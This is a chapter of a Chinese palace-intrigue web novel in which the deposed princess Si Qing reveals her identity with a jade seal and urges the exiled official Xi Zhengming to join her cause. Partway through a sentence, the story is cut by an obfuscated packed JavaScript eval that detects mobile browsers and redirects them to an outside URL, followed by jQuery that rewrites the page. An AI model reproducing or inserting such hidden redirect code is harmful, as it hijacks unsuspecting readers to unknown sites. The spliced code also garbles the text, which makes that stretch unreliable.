奚正铭说话时语气略显激动,颇有一番嫉恶如仇,不与他们同流合污的气势,他死死盯着司清,像是盯着他的仇人一般,咬了咬牙,一腔怒火直往肚子里咽。
若来的是厌从瑜本人,他说不定真的会拳头揍他不可。
面对奚正铭的谩骂误解,司清却依旧静静地站在原地不为所动,等他发泄完情绪后,司清这才缓缓道来道。
“奚大人误会了,不是贺从瑜让我来的,是我自己要来找您的。”
司清这番话,让情绪稍显激动的奚正铭不禁愣在了原地。
她自己要来的?她来找自己有什么事。
奚正铭没说话,只是他抬眸看向司清怒视的眸子多了丝疑惑和不解。
在奚正铭的目光下,司清缓缓勾起嘴角,带着那抹自信的笑意,看着对方,缓缓道。
“重新自我介绍一下,我姓司名清,乃前朝帝女,今日来拜访奚大人,是想请大人出山,助我一臂之力。”
说完的司清朝着奚正铭抱了一拳,与前边在门口那副可怜模样判若两人。
“你姓司?”听到司这个姓氏,奚正铭肉眼可见地愣了一愣,连骂司清的话都说不出,相较先前气势明显弱了三分。
看奚正铭这副半信半疑的模样,司清缓缓点了点头,肯定他道。
“正是。”司清顿了顿,继续说道。“你一直视作奸臣的贺从瑜,其实也是有苦衷的,他与我一般,也是国师安插在朝中的卧底。”
听清司清所说的话,奚正铭一时觉得天旋地转,站着的身形有些支撑不住,踉踉跄跄的,面前的司清和月影见状也赶忙上前一步想要扶住他。
而事情暂未分明,奚正铭又怎么可能接受来自他不认可之人的帮助?因而他立马朝二人伸出手,阻止她们过来。
司清和月影见状也只是相视一眼,没有说什么,默默收回自己的手。
奚正铭扶住椅背,过了好一会儿后这才平复好心情,奚正铭深吸一口气,重新看向面前的主仆二人。
粗布素衣,打扮低调,说是普通的民女也毫不过分,只是那副好样貌,即使做了些许伪装,也只是明珠蒙尘罢了。
有司清在玉州赈灾救民之举在前,如今得知真相的奚正铭倒还是在意料之外情理之中。
只不过他怎么也没有想到,那个贺家的走狗,罪恶滔天只手遮天的厌从瑜,那个他一直以来想要为民除害的害,竟然和她们是一伙的,还是个卧底?
但奚正铭随即转念一想,便又觉这定然是他们夫妇二人使出的诡计,只为看他希望又失望,拿他寻开心罢了。
因而他冷哼一声,冷眼看向面前云淡风轻,一副胜券在握模样的司清,厉声道。
“你以为,本官这么容易被人哄骗?怕不是贺从瑜让你来诓我的吧。空口无凭,你凭什么以为本官会信你?”
虽然奚正铭说是这么说,但司清却已然察觉到,他此刻的话比起先前已然气势不足,隐隐有几分激动,又有一丝害怕,就好像是在虚张声势。
看来这奚正铭也是在怀疑,他想相信这一切是真的,毕竟他已然被贬到深山,司清这番话,让他看到了一丝希望,他又害怕司清只是骗他拿他取乐而已。
不过幸好司清早有预料这副场面,因而面对奚正铭的质问,司清并没有生气,只是笑了笑道。
“奚大人不信我,我也能理解。若是我拿出能证明自己身份的东西呢?”
听到司清这么说,奚正铭不禁皱了皱眉头,他抬眸看向一脸气定神闲胸有成竹的司清,眼底露出几分难以置信。
她怎么一副如此有把握的模样,莫非,她说的话真是真的?
在奚正铭目光注视下,司清从怀中缓缓掏出那枚玉玺。
玉玺在光下隐隐透露出光辉,一看便是货真价实的传世之宝,司清的身份做不了假,正如同这玉玺上雕刻的栩栩如生的血凤凰一般。
奚正铭看着那玉玺,一时之间愣在了原地,久久震惊地说不出话来。
他紧皱着的眉头也蓦地舒展开来,这等绝世工匠打造之物,光从光泽上他便能看出,司清说的话错不了。
原来她说的都是真的。
见奚正铭不说话,只是定定地站在那里一动不动,司清便知晓这些事情对他来说一时难以接受,但她还是决定将事情的真相继续告诉他,因而司清收起了玉玺,随后看着奚正铭缓缓开口道。
“其实你被贬一事,也不是厌从瑜故意要害你的。”
奚正铭垂眸看着地面,不知道在想些什么,但司清看到他眉头微动,便知晓他将自己的话听了进去,因而司清抿了抿嘴,继续开口道。
“你为人太过清正廉洁,与这浑浊的官场格格不入,想来也受到了许多排挤吧?”
听到司清说道这里,奚正铭像被触动一般,他猛地抬眸,看向面前的司清只道。
“那又如何?我不后悔,为官者本应为民,不与他们同流合污又有何不妥?”
奚正铭的质问铿锵有力,情到深处,声调更是上扬了几番,仿佛是在透过司清,质问那远在天边的皇帝一般。
即使那并非厌从瑜本意,但皇帝为何要听信厌从瑜的上谏,将他贬至此处,远离官场。
“确无不妥。”面对奚正铭的质问,司清缓缓点头肯定了他,随后司清顿了顿,话锋一转开始道。“可你没有遇到一个好的主公。”
司清的言外之意,便是自己才是他的最佳之选,良禽择木而栖,选她才是正道。
“其实不是厌从瑜要做掉你,要做掉你的,是皇帝。你应该也能猜到几分吧?”
司清说的话确实戳中了奚正铭的心坎,毕竟聪慧如他,又是以草根之身一己之力做到如今的地位,又怎能不知,这到底是谁授意的呢。
看到奚正铭垂眸,一副被她戳中的模样,司清紧接着趁热打铁劝说道。
“树大招风,你的谏言确实为国为民,只不过暗中动了许多人的利益,自然也有皇帝的,他不是个好皇帝,自然也不想做个明君,你的那些谏言,对他来说,不过是无用之言罢了。
他本是授意厌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880025|154061||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从瑜直接除掉你,只不过厌从瑜为了保你,这才选择将你贬至偏远之地的。再加之派人一路保护,这才让奚大人如今平安无忧。
奚大人不会以为,能这么简单一路平安地穿过这灾年动乱之地来到此处吧?”
说到除掉你三字时,司清还不自觉加重语气,听完她说的这番话,奚正铭也察觉到了一丝威胁,他转而抬眸迎上司清的目光,皱了皱眉道。
“你是在威胁我?”
面对奚正铭的质问,一脸严肃的司清突然笑了笑,茅屋内的氛围顿时轻松了些许。
“不,我只是替厌从瑜说明他之前所作所为的理由,至于如何定夺,还是奚大人的事情。”
“奚大人看到我手上的玉玺,应当也知晓我的身份如何。
我与那元轩有不共戴天之仇。他父子二人杀我全家,夺我皇位,如也今是时候该为他们的所作所为付出代价了。奚大人为民之心司清佩服,也与司清所愿无二。
奉我为主,我定不负天下苍生。”
司清软硬兼施,打定了要让奚正铭归顺于她的念头。
慷慨激昂地陈词后,司清便再没开口,只是目光定定看着眼前的奚正铭,默默等待他会作何反应。
然而出乎司清意料的是,面对司清对他的示好,奚正铭却没有如同师千意一般立即接受,他没有说话,只是缓缓垂下眸子,不知道在想些什么。
而他的这番举动,也让司清心下忐忑几分,就连一旁一直沉默寡言的月影也默默地为她捏了一把汗。
末了,在二人的忐忑等待中,奚正铭这才抬眸看向司清,他没立马答应司清,却只道了一句话。
“若你说的是真的,那厌从瑜为何不肯亲自来说明,一人做事一人当,莫非他是个胆小鬼不成?”
听到奚正铭问起这件事来,司清不禁轻笑一声。
“若是他来了,恐怕奚大人更加不会给我们开口的机会了吧。”毕竟先前奚正铭的那副表现,要不是司清还算为民做过好事之人,他恐怕连她都要一起打了。
因而听到司清的话,自认理亏的奚正铭没有反驳,毕竟她说的也确实不无道理,依照他自个这嫉恶如仇的性子,冲动下的他确实会做出那般事来。
见奚正铭神情若有松动,司清继续说道。
“若是奚大人依旧心有顾虑,那我也可宣他过来。毕竟他也确实与我一道来了姬州,只不过我没有让他出来露面而已。”
看到司清如此诚恳,若是继续咄咄逼人倒是他的不对了,因而奚正铭放弃了要找厌从瑜对峙的想法,毕竟有司清的玉玺在,这一切恐怕也是八九不离十了。
“罢了,他的事暂且不提。”
说着奚正铭微微侧过头去,目光看向一旁的空地,毕竟提到厌从瑜他总会来气,多年结下来的梁子一时之间烟消云散还是让他有些不适的。
突然像是想起司清刚刚邀他出山一事一般,奚正铭收回自己看向一旁的目光,转而定定看着司清的眸子,正色道。
“我只问你一件事。”